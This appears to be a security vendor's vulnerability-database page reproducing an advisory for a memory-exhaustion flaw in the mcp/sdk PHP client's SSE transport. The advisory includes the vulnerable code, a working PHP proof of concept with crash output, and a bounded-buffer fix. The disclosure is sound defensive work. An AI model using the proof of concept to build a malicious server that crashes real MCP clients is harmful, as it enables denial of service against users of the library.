How should we interpret CVSS severity scores?

CVSS estimates technical severity, but it does not automatically equal business risk. Prioritize using context like internet exposure, asset criticality, known exploitation, and whether compensating controls exist. A Medium CVSS on an exposed production system can be more urgent than a Critical on an isolated non-production host.

Vulnerability Database

Q: What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

Q: What's the difference between a vulnerability, an exploit, and a zero-day?

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. Risk increases sharply when exploitation becomes reliable or widespread.

Q: Why do vulnerabilities keep reappearing in our environment?

Recurring findings usually come from incomplete asset discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host.

Q: How do we prioritize remediation without burning out the team?

Use a repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress so remediation is steady, not reactive.

Q: How can SynScan help reduce vulnerability risk over time?

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.

374,644

Total vulnerabilities in the database

CVE-2026-53965 — mcp / sdk

Uncontrolled Resource Consumption

Summary

The HTTP client transport in mcp/sdk reads a Server-Sent-Events (SSE) response stream incrementally and appends each 4 KiB chunk to an in-memory buffer ($this->sseBuffer .= $chunk;) with no upper bound. The buffer is only ever flushed when an SSE event delimiter ("\n\n") appears. A remote MCP server (the peer the client connects to) that streams response bytes without ever sending the "\n\n" delimiter makes $sseBuffer grow without limit until the client process exhausts its PHP memory_limit (fatal "Allowed memory size … exhausted") or is killed by the OS OOM-killer.

This is a denial-of-service against the MCP client: any server it talks to — or a network position that controls the server's response body — can crash the client by withholding the event delimiter while streaming data.

Impact

Type: Denial of service (memory exhaustion / process crash) of the MCP client.
Who can trigger it: The remote MCP server endpoint the client connects to via HttpTransport, or any party that can control/inject into that server's SSE response body (e.g. a man-in-the-middle on a plaintext endpoint, or a malicious or compromised server). The buffer growth happens while the transport is reading the response stream, before a complete event is ever parsed.
Effect: A response stream of N bytes containing no "\n\n" drives the client's resident buffer to track N. A few hundred MB of delimiter-free data is enough to kill a client running with a typical memory_limit.
Severity (suggested, maintainer to confirm): High — a remote server can reliably crash a connected client over the HTTP/SSE transport.

How input reaches the sink (reachability)

A client connects to a server over the HTTP transport by constructing Mcp\Client\Transport\HttpTransport with the server endpoint URL, then runs the connect/request loop.
The transport's loop calls tick() (line 182), which calls processSSEStream() (line 194) on each iteration.
processSSEStream() reads up to 4096 bytes from the active SSE stream and appends them to $this->sseBuffer (line 203).
The buffer is only drained inside the while (false !== ($pos = strpos($this->sseBuffer, "\n\n"))) loop (line 207). If the server never emits "\n\n", the strpos never matches, the buffer is never flushed, and it grows on every tick() until OOM.

Vulnerable code

src/Client/Transport/HttpTransport.php (v0.5.0):

    private string $sseBuffer = &#039;&#039;;

    private function processSSEStream(): void
    {
        if (null === $this-&gt;activeStream) {
            return;
        }

        if (!$this-&gt;activeStream-&gt;eof()) {
            $chunk = $this-&gt;activeStream-&gt;read(4096);
            if (&#039;&#039; !== $chunk) {
                $this-&gt;sseBuffer .= $chunk;          // line 203 — unbounded append
            }
        }

        while (false !== ($pos = strpos($this-&gt;sseBuffer, &quot;\n\n&quot;))) {
            $event = substr($this-&gt;sseBuffer, 0, $pos);
            $this-&gt;sseBuffer = substr($this-&gt;sseBuffer, $pos + 2);

            if (!empty(trim($event))) {
                $this-&gt;processSSEEvent($event);
            }
        }

        if ($this-&gt;activeStream-&gt;eof() &amp;&amp; empty($this-&gt;sseBuffer)) {
            $this-&gt;activeStream = null;
        }
    }

$this->sseBuffer .= $chunk; has no length guard; the drain loop only fires when a "\n\n" delimiter is present.

Proof of concept / End-to-end reproduction (against the released composer package)

Environment: macOS arm64, PHP 8.5.6 (cli), Composer 2.9.8. The package under test is the real published release mcp/sdk v0.5.0 (the version that introduced this HTTP client transport), installed from Packagist — not a re-implementation of the sink.

Install the released package:

$ composer require mcp/sdk:0.5.0 --no-interaction
  - Installing mcp/sdk (v0.5.0): Extracting archive
$ composer show mcp/sdk
name     : mcp/sdk
versions : * v0.5.0

PoC driver (poc_sse.php). It exercises the unmodified released processSSEStream(); the ProbeHttp subclass uses reflection only to inject the active SSE stream and to invoke the inherited private method — no transport logic is overridden. FloodStream is a real PSR-7 StreamInterface that yields a large body (4096 bytes per read()) that never contains "\n\n", mirroring an adversarial SSE server response. The null PSR-18/17 stubs only satisfy the constructor; the sink reads exclusively from the injected stream and never touches the HTTP client:

&lt;?php
require __DIR__ . &#039;/vendor/autoload.php&#039;;
use Mcp\Client\Transport\HttpTransport;
use Psr\Http\Message\StreamInterface;
use Psr\Http\Client\ClientInterface;
use Psr\Http\Message\RequestFactoryInterface;
use Psr\Http\Message\StreamFactoryInterface;
use Psr\Http\Message\RequestInterface;
use Psr\Http\Message\ResponseInterface;

final class FloodStream implements StreamInterface {
    private int $served = 0;
    public function __construct(private int $total) {}
    public function read(int $length): string {
        if ($this-&gt;served &gt;= $this-&gt;total) return &#039;&#039;;
        $n = min($length, $this-&gt;total - $this-&gt;served);
        $this-&gt;served += $n;
        return str_repeat(&#039;A&#039;, $n);           // never contains &quot;\n\n&quot;
    }
    public function eof(): bool { return $this-&gt;served &gt;= $this-&gt;total; }
    public function __toString(): string { return &#039;&#039;; }
    public function close(): void {}
    public function detach() { return null; }
    public function getSize(): ?int { return $this-&gt;total; }
    public function tell(): int { return $this-&gt;served; }
    public function isSeekable(): bool { return false; }
    public function seek(int $o, int $w = SEEK_SET): void {}
    public function rewind(): void {}
    public function isWritable(): bool { return false; }
    public function write(string $s): int { return 0; }
    public function isReadable(): bool { return true; }
    public function getContents(): string { return &#039;&#039;; }
    public function getMetadata(?string $key = null) { return null; }
}
final class NullHttpClient implements ClientInterface {
    public function sendRequest(RequestInterface $request): ResponseInterface { throw new \RuntimeException(&#039;not used&#039;); }
}
final class NullRequestFactory implements RequestFactoryInterface {
    public function createRequest(string $method, $uri): RequestInterface { throw new \RuntimeException(&#039;not used&#039;); }
}
final class NullStreamFactory implements StreamFactoryInterface {
    public function createStream(string $content = &#039;&#039;): StreamInterface { throw new \RuntimeException(&#039;not used&#039;); }
    public function createStreamFromFile(string $filename, string $mode = &#039;r&#039;): StreamInterface { throw new \RuntimeException(&#039;not used&#039;); }
    public function createStreamFromResource($resource): StreamInterface { throw new \RuntimeException(&#039;not used&#039;); }
}
final class ProbeHttp extends HttpTransport {
    public function inject(StreamInterface $s): void {
        (new ReflectionProperty(HttpTransport::class, &#039;activeStream&#039;))-&gt;setValue($this, $s);
    }
    public function pump(): void {
        (new ReflectionMethod(HttpTransport::class, &#039;processSSEStream&#039;))-&gt;invoke($this);
    }
}
function fmtMB(int $b): string { return number_format($b/1048576,1).&#039; MB&#039;; }
$mode = $argv[1] ?? &#039;attack&#039;;
$t = new ProbeHttp(&#039;http://127.0.0.1:9/mcp&#039;, [], new NullHttpClient(), new NullRequestFactory(), new NullStreamFactory());

if ($mode === &#039;control&#039;) {
    $body = &#039;&#039;;
    for ($i=0;$i&lt;1000;$i++) $body .= &quot;event: message\ndata: {\&quot;jsonrpc\&quot;:\&quot;2.0\&quot;,\&quot;id\&quot;:$i}\n\n&quot;;
    $tmp = fopen(&#039;php://temp&#039;,&#039;r+&#039;); fwrite($tmp,$body); rewind($tmp);
    $t-&gt;inject(new FloodStream(0));   // replaced below by a real stream over $tmp
    $stream = new class($tmp) implements StreamInterface {
        public function __construct(private $h) {}
        public function read(int $l): string { return (string) fread($this-&gt;h, $l); }
        public function eof(): bool { return feof($this-&gt;h); }
        public function __toString(): string { return &#039;&#039;; }
        public function close(): void {}
        public function detach() { return null; }
        public function getSize(): ?int { return null; }
        public function tell(): int { return 0; }
        public function isSeekable(): bool { return false; }
        public function seek(int $o,int $w=SEEK_SET): void {}
        public function rewind(): void {}
        public function isWritable(): bool { return false; }
        public function write(string $s): int { return 0; }
        public function isReadable(): bool { return true; }
        public function getContents(): string { return &#039;&#039;; }
        public function getMetadata(?string $k=null) { return null; }
    };
    $t-&gt;inject($stream);
    $before = memory_get_usage(true);
    for ($i=0;$i&lt;5000 &amp;&amp; !$stream-&gt;eof();$i++) $t-&gt;pump();
    fwrite(STDERR,&quot;[control] events fed   : 1000 well-formed SSE events (delimited by \\n\\n)\n&quot;);
    fwrite(STDERR,&quot;[control] mem before   : &quot;.fmtMB($before).&quot;\n&quot;);
    fwrite(STDERR,&quot;[control] mem after    : &quot;.fmtMB(memory_get_usage(true)).&quot;\n&quot;);
    fwrite(STDERR,&quot;[control] RESULT       : bounded, no OOM (each event flushed on \\n\\n)\n&quot;);
    exit(0);
}

ini_set(&#039;memory_limit&#039;,&#039;256M&#039;);
$SIZE = 400*1024*1024;                              // 400MB SSE body, NO &quot;\n\n&quot;
$t-&gt;inject(new FloodStream($SIZE));
fwrite(STDERR,&quot;[attack] SSE body         : &quot;.fmtMB($SIZE).&quot; with NO \\n\\n delimiter\n&quot;);
fwrite(STDERR,&quot;[attack] memory_limit     : &quot;.ini_get(&#039;memory_limit&#039;).&quot;\n&quot;);
fwrite(STDERR,&quot;[attack] mem before       : &quot;.fmtMB(memory_get_usage(true)).&quot;\n&quot;);
register_shutdown_function(function() {
    $err = error_get_last();
    fwrite(STDERR,&quot;[attack] peak mem         : &quot;.number_format(memory_get_peak_usage(true)/1048576,1).&quot; MB\n&quot;);
    if ($err &amp;&amp; stripos($err[&#039;message&#039;],&#039;memory&#039;)!==false)
        fwrite(STDERR,&quot;[attack] RESULT           : OOM — &quot;.trim($err[&#039;message&#039;]).&quot;\n&quot;);
});
for ($i=0;;$i++) { $t-&gt;pump(); }      // each pump reads one 4096 chunk -&gt; sseBuffer

Negative control — 1000 well-formed SSE events delimited by "\n\n": each pump flushes complete events, the buffer drains, memory stays flat:

$ php poc_sse.php control
[control] events fed   : 1000 well-formed SSE events (delimited by \n\n)
[control] mem before   : 2.0 MB
[control] mem after    : 2.0 MB
[control] RESULT       : bounded, no OOM (each event flushed on \n\n)

Attack — a 400 MB SSE body with no "\n\n", client heap capped at 256 MB to make the crash deterministic (a production client has a larger or unbounded limit and is killed by the OS at whatever ceiling exists):

$ php poc_sse.php attack
[attack] SSE body         : 400.0 MB with NO \n\n delimiter
[attack] memory_limit     : 256M
[attack] mem before       : 2.0 MB
PHP Fatal error:  Allowed memory size of 268435456 bytes exhausted (tried to allocate 264241184 bytes) in /private/tmp/work/vendor/mcp/sdk/src/Client/Transport/HttpTransport.php on line 203
Stack trace:
#0 [internal function]: Mcp\Client\Transport\HttpTransport-&gt;processSSEStream()
#1 /private/tmp/work/poc_sse.php(69): ReflectionMethod-&gt;invoke(Object(ProbeHttp))
#2 /private/tmp/work/poc_sse.php(129): ProbeHttp-&gt;pump()
#3 {main}
[attack] peak mem         : 256.0 MB
[attack] RESULT           : OOM — Allowed memory size of 268435456 bytes exhausted (tried to allocate 264241184 bytes)

The fatal error lands on the released vendor file vendor/mcp/sdk/src/Client/Transport/HttpTransport.php line 203, inside processSSEStream(), while the delimiter-respecting control workload stays at 2.0 MB. This confirms the unbounded SSE accumulation on the real released package.

Suggested fix

Bound the SSE buffer length and reject (or abort the stream) when it exceeds a configured maximum, so a server cannot force unbounded growth before a complete event arrives. For example:

private const MAX_SSE_BUFFER_BYTES = 8 * 1024 * 1024; // 8 MiB, configurable

private function processSSEStream(): void
{
    if (null === $this-&gt;activeStream) {
        return;
    }

    if (!$this-&gt;activeStream-&gt;eof()) {
        $chunk = $this-&gt;activeStream-&gt;read(4096);
        if (&#039;&#039; !== $chunk) {
            if (\strlen($this-&gt;sseBuffer) + \strlen($chunk) &gt; self::MAX_SSE_BUFFER_BYTES) {
                $this-&gt;sseBuffer = &#039;&#039;;
                $this-&gt;activeStream = null;
                $this-&gt;logger-&gt;warning(&#039;Aborting SSE stream: buffer exceeded maximum size without a complete event.&#039;, [
                    &#039;max_sse_buffer_bytes&#039; =&gt; self::MAX_SSE_BUFFER_BYTES,
                ]);

                return;
            }
            $this-&gt;sseBuffer .= $chunk;
        }
    }

    while (false !== ($pos = strpos($this-&gt;sseBuffer, &quot;\n\n&quot;))) {
        $event = substr($this-&gt;sseBuffer, 0, $pos);
        $this-&gt;sseBuffer = substr($this-&gt;sseBuffer, $pos + 2);

        if (!empty(trim($event))) {
            $this-&gt;processSSEEvent($event);
        }
    }

    if ($this-&gt;activeStream-&gt;eof() &amp;&amp; empty($this-&gt;sseBuffer)) {
        $this-&gt;activeStream = null;
    }
}

The cap value and the over-limit policy (abort vs. error) are the maintainers' call. A fix PR against a private fork of the advisory workspace accompanies this report.

Fix PR

A patch bounding the SSE buffer is provided as a pull request against the private temporary fork created for this advisory (the GHSA workspace fork). Details and link are added to this advisory's thread once the private fork PR is opened. The patch keeps the SSE event-parsing behaviour unchanged and only caps the buffer.

Credit

Reported by tonghuaroot.

Published: Aug 19, 2026
Updated: Aug 20, 2026
CVE: CVE-2026-53965
GHSA: GHSA-7m52-jw36-44r3
Severity: High
Exploit:
CISA KEV:

No technical information available.

CWEs:

Affected Software
References

Software	From	Fixed in
mcp / sdk	0.5.0	0.7.1

Deep Security Visibility Without the Complexity

SynScan provides clear, real-time security insights so you can monitor your attack surface, spot risks early, and act fast—without extra complexity.

No setup fees
5-min deployment
Cancel anytime

Book a Demo

Frequently Asked Questions

What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.